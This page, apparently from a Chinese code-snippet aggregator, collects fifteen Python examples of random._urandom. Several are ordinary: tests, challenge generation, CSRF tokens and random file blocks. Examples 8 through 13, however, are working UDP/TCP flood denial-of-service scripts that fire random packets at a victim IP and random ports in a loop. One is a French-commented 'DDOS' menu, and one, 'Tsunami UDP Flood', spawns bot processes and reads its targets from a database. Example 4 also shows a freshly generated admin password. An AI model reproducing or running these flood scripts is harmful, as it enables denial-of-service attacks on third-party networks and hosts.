本文整理汇总了Python中random._urandom函数的典型用法代码示例。如果您正苦于以下问题:Python _urandom函数的具体用法?Python _urandom怎么用?Python _urandom使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了_urandom函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
def __init__(self, **kwargs):
super(Wave_CAtest, self).__init__(**kwargs)
self.rows = [[(0, 0) for y in xrange(16)] for x in xrange(16)]
random_coordinate = format(ord(random._urandom(1)), 'b').zfill(8)
x = int(random_coordinate[:4], 2)
y = int(random_coordinate[4:], 2)
self.rows[x][y] = (ord(random._urandom(1)), ord(random._urandom(1)))
示例2: test_validity
def test_validity():
key = random._urandom(32)
mac_key = random._urandom(32)
unencrypted_data = "This is some awesome unencrypted data"
for x in xrange(100):
challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data,
bytes_per_hash=3)
_answer, data = solve_challenge(challenge, key, mac_key)
assert _answer == answer
示例3: test_challenge
def test_challenge():
key = random._urandom(32)
mac_key = random._urandom(32)
unencrypted_data = "This is some awesome unencrypted data"
challenge, answer = generate_challenge(key, mac_key,
unencrypted_data=unencrypted_data)
_answer, _unencrypted_data = solve_challenge(challenge, key, mac_key)
assert _answer == answer
assert _unencrypted_data == unencrypted_data
示例4: _init_auth_datastore
def _init_auth_datastore(datastore):
# If it's a fresh database, create an initial admin user.
if not User.table_exists():
for Model in (User, Role, UserRoles):
Model.create_table(fail_silently=True)
initial_admin_email = '[email protected]'
from random import _urandom
initial_admin_password = \
_urandom(12).encode('base-64')[:-2]
admin_user = datastore.create_user(
email=initial_admin_email,
password=encrypt_password(initial_admin_password),
active=True)
admin_role = datastore.create_role(name='admin')
flash("""Fresh installation: Login as "{}" with password "{}",
and change your email and password via the user admin interface.
This message only appears once!""".format(
initial_admin_email, initial_admin_password), "danger")
datastore.add_role_to_user(admin_user, admin_role)
logout_user() # in case there's a stale cookie
# This is *always* done (in case new roles were added)
# Heads up: USER_ROLES are hard-coded at __init__.py
for role_name in current_app.config['USER_ROLES']:
if not datastore.find_role(role_name):
datastore.create_role(name=role_name)
示例5: randint
def randint(interp):
"""
Implementation for the 'random' operator returns a random integer to the top of the
stack.
"""
interp.stack.append(struct.unpack("<L", random._urandom(4))[0])
示例6: generate_challenge
def generate_challenge(key, mac_key, challenge_size=32, bytes_per_hash=1,
hash_function="sha256", unencrypted_data='',
answer=bytes()):
""" Create a challenge that only the holder of key should be able to solve.
mac_key is required to assure integrity and authenticity of the
challenge to the client.
challenge_size is the total amount of data the client must crack.
A random challenge of challenge_size is generated, and separated into
challenge_size / bytes_per_hash subchallenges. The time taken to crack
a single subchallenge is O(2**n) (? not sure!), where n is the number
of bytes_per_hash.
hash_function is a string name of an algorithm available in the hashlib module
unencrypted_data is an optional string of data to be packaged with the challenge.
The data is not kept confidential, but possesses integrity and authenticity
because of the message authentication code over the entire package.
answer is an optional string, that when supplied, is used instead of a
random challenge. If supplied, the challenge_size argument has no effect. """
answer = answer or random._urandom(challenge_size)
challenge = encrypt(answer, key, hmac_factory(hash_function), input_block_size=bytes_per_hash)
package = save_data(challenge, bytes_per_hash, unencrypted_data)
return (save_data(generate_mac(mac_key, package, hash_function), hash_function, package),
answer)
示例7: _get_file_hash
def _get_file_hash(self):
title = ''.join([random.choice(ascii_letters) for i in xrange(10)])
with open('/tmp/test', 'w') as f:
f.write(random._urandom(100))
f = File('/tmp/test', testnet=True, title=title)
return f.file_hash, f.file_hash_metadata
示例8: menu1
def menu1():
print "Bienvenue sur le menu DDOS \n" #Affiche un message de bienvenue
target = raw_input("Ip de la victime : ") #Demande de taper l'ip de la victime
print("===")
package = input("Taille paquet (MAX 65500): ") #Demande la taille des paquets en bytes dont le maximum est de 65500
print("===")
duration = input("Duree en seconde (0 = illimite): ") #Variable Demande le temps voulu (en seconde) pour cette attaque
durclock = (lambda:0, time.clock)[duration > 0] #Variable se basant sur l'heure et sur le temps restant
duration = (1, (durclock() + duration))[duration > 0] #Variable dans laquelle on défini la durée en seconde
packet = random._urandom(package) #Variable paquet aleatoire
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("===")
#Affiche un message indiquant que le ddos est commencé vers quelle cible, avec la taille des paquets en bytes et pour combien de temps
print("The UDP flood started on %s with %s bytes for %s seconds." % (target, package, duration))
#tant que "vrai" Si la variable durclock est plus petite que la variable duration, faire
while True:
if (durclock() < duration):
#definition du port aleatoirement
port = random.randint(1, 65535)
#envoi du packet vers la cible et le port défini aléatoirement
sock.sendto(packet, (target, port))
#Sinon arrêt de la boucle
else:
break
print("===")
#Affiche un message indiquant que le ddos (avec le nombre de seconde) envers la cible est terminée
print("The UDP flood has completed on %s for %s seconds." % (target, duration))
print("===")
#Affiche la possibilité de revenir au menu principal ou de quitter le programme
print "9. Retour"
print "0. Quit"
choice = raw_input(" >> ")
exec_menu(choice)
return
示例9: flood
def flood(iss, ss, ds):
IP = iss
PSize = int(ss)
Duration = int(ds)
print("parameters: %s %s %s") % (iss, ss, ds)
Clock = (lambda:0, time.clock)[Duration > 0]
Duration = (1, (Clock() + Duration))[Duration > 0]
Packet = random._urandom(PSize)
Socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("flooding %s with %s bytes for %s seconds." % (IP, PSize, Duration or 'Infinite'))
while True:
try:
if (Clock() < Duration):
Port = random.randint(1, 65535)
Socket.sendto(Packet, (IP, Port))
else:
break
except KeyboardInterrupt:
print "Flood stopped by user."
break
print "Flood Ended."
示例10: run
def run(self):
print "-__-----------_____-___----_" + self.ip + ":"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 8080
bytes = random._urandom(self.size)
while 2:
s.sendto(bytes,(self.ip, self.port))
示例11: kontrol
def kontrol():
db= mysql.connector.connect(user='root', password='',
host='localhost',
database='vt',use_pure=False)
cursor = db.cursor()
sql = "SELECT * FROM saldiri \
WHERE id = '%d'" % (2)
try:
# Execute yöntemi ile sql kdlarımızı çalıştırıyoruz.
cursor.execute(sql)
# Liste içindeki listelerden tüm satırları çekiyoruz
results = cursor.fetchall()
for row in results:
ip = row[1]
sure = row[2]
port = row[3]
kontrol=row[4]
askergucu=row[6]
except:
print "Error: unable to fecth data"
print "Saldirilacak Ipi "+ip+" Saldiri Suresi= "+str(sure)+" Saldiri Portu= "+port
# Veritabanı bağlantısını sonlandırıyoruz
db.close()
credits = (
'Tsunami UDP Flood '
'Power By Ramazan Serif AKBUZ'
)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
def pres():
print credits
pres()
victim = ip
vport = int(port)
duration =sure
timeout = time.time() + duration
sent = 0
a = 0
if kontrol=="1":
while a < askergucu:
a = a + 1
os.startfile("asker.py")
while 1:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (victim, vport))
sent = sent + 1
print "Saldiri Basladi %s Paket Yollaniyor %s saldirilan port %s "%(sent, victim, vport)
示例12: run
def run(self, ip, port, size):
while running:
try:
byte = random._urandom(self.size)
self.udp.sendto(byte, (self.ip, self.port))
global count; count+=1
except:
pass
示例13: udp
def udp(ip, nbytes):
while 1:
s = socket(AF_INET, SOCK_DGRAM)
port = random.randint(80, 8080)
bytes_ = random._urandom(nbytes)
stdout.write("\rSending %i bytes to %s:%i"%(len(bytes_), ip, port))
s.sendto(bytes_, (ip, port))
s.close()
示例14: make_csrf_token
def make_csrf_token():
"""Retuns a new csrf token.
Also keeps it in a limited pool (throws away least recently used tokens if needed)."""
token = random._urandom(42).encode('base-64').strip()
tokens = cherrypy.session.get('csrf_tokens',[])[-23:] # drop least recently used
tokens.append(token)
cherrypy.session['csrf_tokens'] = tokens
return token
示例15: createRandomBlocks
def createRandomBlocks(self):
"creates a list of long random strings upfront to speed up file write"
n = 100
s = 512*1024
log.info('create %d randoms blocks of size %sbytes', n, humanValue(s))
for i in range(n):
self.randoms += [random._urandom(s)]